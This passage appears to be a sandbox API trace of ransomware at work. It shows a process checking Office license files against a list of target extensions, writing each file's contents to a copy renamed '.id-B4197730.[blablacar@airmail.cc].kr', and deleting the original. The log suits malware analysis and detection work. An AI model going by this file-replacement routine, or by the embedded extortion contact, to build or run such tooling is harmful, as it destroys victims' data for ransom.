(lpString1=".ppt", lpString2="m-ms") returned -1 [0204.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.684] lstrlenW (lpString=".zip") returned 4 [0204.684] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.684] lstrlenW (lpString=".rar") returned 4 [0204.684] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.684] lstrlenW (lpString=".bz2") returned 4 [0204.684] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.684] lstrlenW (lpString=".7z") returned 3 [0204.684] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.684] lstrlenW (lpString=".dbf") returned 4 [0204.684] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.684] lstrlenW (lpString=".1cd") returned 4 [0204.684] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.684] lstrlenW (lpString=".jpg") returned 4 [0204.685] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.685] lstrlenW (lpString=".doc") returned 4 [0204.685] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString=".docx") returned 5 [0204.685] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.685] lstrlenW (lpString=".pdf") returned 4 [0204.685] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString=".xls") returned 4 [0204.685] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString=".xlsx") returned 5 [0204.685] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.685] lstrlenW (lpString=".ppt") returned 4 [0204.685] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.685] lstrlenW (lpString=".zip") returned 4 [0204.685] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString=".rar") returned 4 [0204.685] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString=".bz2") returned 4 [0204.685] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString=".7z") returned 3 [0204.685] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.685] lstrlenW (lpString=".dbf") returned 4 [0204.685] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.685] lstrlenW (lpString=".1cd") returned 4 [0204.685] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82 [0204.685] lstrlenW (lpString=".jpg") returned 4 [0204.685] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.686] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.686] lstrlenW (lpString="O365ProPlusR_Subscription4-pl.xrm-ms") returned 36 [0204.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.687] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11195) returned 1 [0204.687] CloseHandle (hObject=0x550) returned 1 [0204.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms")) returned 0x220 [0204.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.687] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.687] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0204.689] GetLastError () returned 0x0 [0204.689] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0204.691] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0204.692] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0204.692] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11c, lpOverlapped=0x0) returned 1 [0204.692] SetEndOfFile (hFile=0x520) returned 1 [0204.692] CloseHandle (hObject=0x520) returned 1 [0204.692] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.692] SetEndOfFile (hFile=0x550) returned 1 [0204.695] CloseHandle (hObject=0x550) returned 1 [0204.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms")) returned 1 [0204.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.697] lstrlenW (lpString=".doc") returned 4 [0204.697] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".docx") returned 5 [0204.697] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.697] lstrlenW (lpString=".pdf") returned 4 [0204.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".xls") returned 4 [0204.697] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".xlsx") returned 5 [0204.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.697] lstrlenW (lpString=".ppt") returned 4 [0204.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.697] lstrlenW (lpString=".zip") returned 4 [0204.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".rar") returned 4 [0204.697] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".bz2") returned 4 [0204.697] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.697] lstrlenW (lpString=".7z") returned 3 [0204.697] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.698] lstrlenW (lpString=".dbf") returned 4 [0204.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.698] lstrlenW (lpString=".1cd") returned 4 [0204.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.698] lstrlenW (lpString=".jpg") returned 4 [0204.698] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.698] lstrlenW (lpString=".doc") returned 4 [0204.698] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString=".docx") returned 5 [0204.698] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.698] lstrlenW (lpString=".pdf") returned 4 [0204.698] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString=".xls") returned 4 [0204.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString=".xlsx") returned 5 [0204.698] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.698] lstrlenW (lpString=".ppt") returned 4 [0204.698] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.698] lstrlenW (lpString=".zip") returned 4 [0204.698] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString=".rar") returned 4 [0204.698] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString=".bz2") returned 4 [0204.698] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.698] lstrlenW (lpString=".7z") returned 3 [0204.698] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.699] lstrlenW (lpString=".dbf") returned 4 [0204.699] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.699] lstrlenW (lpString=".1cd") returned 4 [0204.699] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86 [0204.699] lstrlenW (lpString=".jpg") returned 4 [0204.699] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.699] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.699] lstrlenW (lpString="O365ProPlusR_Subscription4-ppd.xrm-ms") returned 37 [0204.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.700] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=28261) returned 1 [0204.700] CloseHandle (hObject=0x550) returned 1 [0204.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms")) returned 0x220 [0204.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0204.701] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.701] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0204.701] GetLastError () returned 0x0 [0204.701] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x6e65, lpOverlapped=0x0) returned 1 [0205.003] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x6e70, lpOverlapped=0x0) returned 1 [0205.005] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0205.005] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11e, lpOverlapped=0x0) returned 1 [0205.005] SetEndOfFile (hFile=0x520) returned 1 [0205.005] CloseHandle (hObject=0x520) returned 1 [0205.005] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.005] SetEndOfFile (hFile=0x550) returned 1 [0205.182] CloseHandle (hObject=0x550) returned 1 [0205.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms")) returned 1 [0205.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.183] lstrlenW (lpString=".doc") returned 4 [0205.183] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.183] lstrlenW (lpString=".docx") returned 5 [0205.183] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.183] lstrlenW (lpString=".pdf") returned 4 [0205.183] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.183] lstrlenW (lpString=".xls") returned 4 [0205.183] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.183] lstrlenW (lpString=".xlsx") returned 5 [0205.183] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.183] lstrlenW (lpString=".ppt") returned 4 [0205.183] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.183] lstrlenW (lpString=".zip") returned 4 [0205.183] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.183] lstrlenW (lpString=".rar") returned 4 [0205.183] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.183] lstrlenW (lpString=".bz2") returned 4 [0205.183] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.183] lstrlenW (lpString=".7z") returned 3 [0205.183] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.183] lstrlenW (lpString=".dbf") returned 4 [0205.183] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.184] lstrlenW (lpString=".1cd") returned 4 [0205.184] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.184] lstrlenW (lpString=".jpg") returned 4 [0205.184] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.184] lstrlenW (lpString=".doc") returned 4 [0205.184] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString=".docx") returned 5 [0205.184] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.184] lstrlenW (lpString=".pdf") returned 4 [0205.184] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString=".xls") returned 4 [0205.184] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString=".xlsx") returned 5 [0205.184] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.184] lstrlenW (lpString=".ppt") returned 4 [0205.184] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.184] lstrlenW (lpString=".zip") returned 4 [0205.184] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString=".rar") returned 4 [0205.184] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString=".bz2") returned 4 [0205.184] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString=".7z") returned 3 [0205.184] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.184] lstrlenW (lpString=".dbf") returned 4 [0205.184] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.184] lstrlenW (lpString=".1cd") returned 4 [0205.185] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87 [0205.185] lstrlenW (lpString=".jpg") returned 4 [0205.185] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.185] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.185] lstrlenW (lpString="O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 33 [0205.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0205.186] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=24369) returned 1 [0205.186] CloseHandle (hObject=0x550) returned 1 [0205.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms")) returned 0x220 [0205.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0205.186] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.186] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0205.187] GetLastError () returned 0x0 [0205.187] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5f31, lpOverlapped=0x0) returned 1 [0205.335] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5f40, lpOverlapped=0x0) returned 1 [0205.336] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0205.336] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0205.336] SetEndOfFile (hFile=0x3bc) returned 1 [0205.336] CloseHandle (hObject=0x3bc) returned 1 [0205.336] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0205.336] SetEndOfFile (hFile=0x550) returned 1 [0205.357] CloseHandle (hObject=0x550) returned 1 [0205.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms")) returned 1 [0205.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") returned 83 [0205.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms") 